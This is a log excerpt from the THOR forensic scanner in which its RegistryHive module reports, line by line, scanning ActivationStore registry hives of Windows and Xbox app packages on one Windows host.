Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2310.30001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2310.30001.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2310.30001.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.2.8_8.2310.30001.0_x86__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_8.2404.3001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.UI.Xaml.CBS_8.2404.3001.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WebMediaExtensions_1.1.1295.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WebMediaExtensions_1.1.1295.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Win32WebViewHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Win32WebViewHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Apprep.ChxApp_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Apprep.ChxApp_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.AssignedAccessLockApp_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.AssignedAccessLockApp_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CallingShellApp_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CallingShellApp_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CapturePicker_10.0.19580.1000_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CloudExperienceHost_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.CloudExperienceHost_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:11 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.NarratorQuickStart_10.0.22621.1_neutral_neutral_8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.NarratorQuickStart_10.0.22621.1_neutral_neutral_8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.21302.1000_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.OOBENetworkCaptivePortal_10.0.21302.1000_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.21302.1000_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.OOBENetworkConnectionFlow_10.0.21302.1000_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ParentalControls_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ParentalControls_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PeopleExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PeopleExperienceHost_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.Photos_2024.11070.31001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PinningConfirmationDialog_1000.22621.1.0_neutral__cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PinningConfirmationDialog_1000.22621.1.0_neutral__cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PrintQueueActionCenter_1.0.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.PrintQueueActionCenter_1.0.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.SecureAssessmentBrowser_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.SecureAssessmentBrowser_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ShellExperienceHost_10.0.22621.3810_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.22621.2506_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.22621.3958_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.StartMenuExperienceHost_10.0.22621.3958_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.XGpuEjectDialog_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.XGpuEjectDialog_10.0.22621.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAlarms_1.0.195.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAlarms_1.0.195.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:12 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:13 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.3_3000.934.1904.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:13 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.4_4000.1227.1637.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:13 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.4_4000.1227.1637.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:13 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.4_4000.1309.2056.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.4_4000.1309.2056.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.119.156.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.119.156.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.178.1908.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:14 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.178.1908.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.214.1843.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.1.5_5001.214.1843.0_x86__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsAppRuntime.CBS_4000.1189.418.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsCalculator_11.2405.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsCalculator_11.2405.2.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsCamera_2024.2407.12.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:15 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsCamera_2024.2407.12.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsFeedbackHub_1.2407.21972.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsFeedbackHub_1.2407.21972.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsMaps_1.0.62.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsMaps_1.0.62.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsNotepad_11.2406.9.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsNotepad_11.2406.9.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsSoundRecorder_1.0.79.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsSoundRecorder_1.0.79.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22407.1401.5.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsTerminal_1.20.11781.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsTerminal_1.20.11781.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Xbox.TCUI_1.24.10001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Xbox.TCUI_1.24.10001.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGameCallableUI_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGameCallableUI_1000.22621.1.0_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGameOverlay_1.54.4001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGameOverlay_1.54.4001.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGamingOverlay_7.124.5142.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:16 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxGamingOverlay_7.124.5142.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxIdentityProvider_12.115.1001.0_x64__8wekyb3d8bbwe\ActivationStore.dat
Sep 10 12:21:17 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.XboxIdentityProvider_12.115.1001.0_x64__8wekyb3d8bbwe\ActivationStore.dat.LOG1
